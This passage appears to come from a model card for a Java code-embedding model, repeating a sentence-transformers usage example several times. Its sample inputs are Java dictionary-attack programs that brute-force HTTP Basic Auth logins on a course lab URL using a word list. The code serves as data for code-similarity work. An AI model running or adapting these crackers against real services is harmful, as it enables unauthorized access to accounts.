     break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 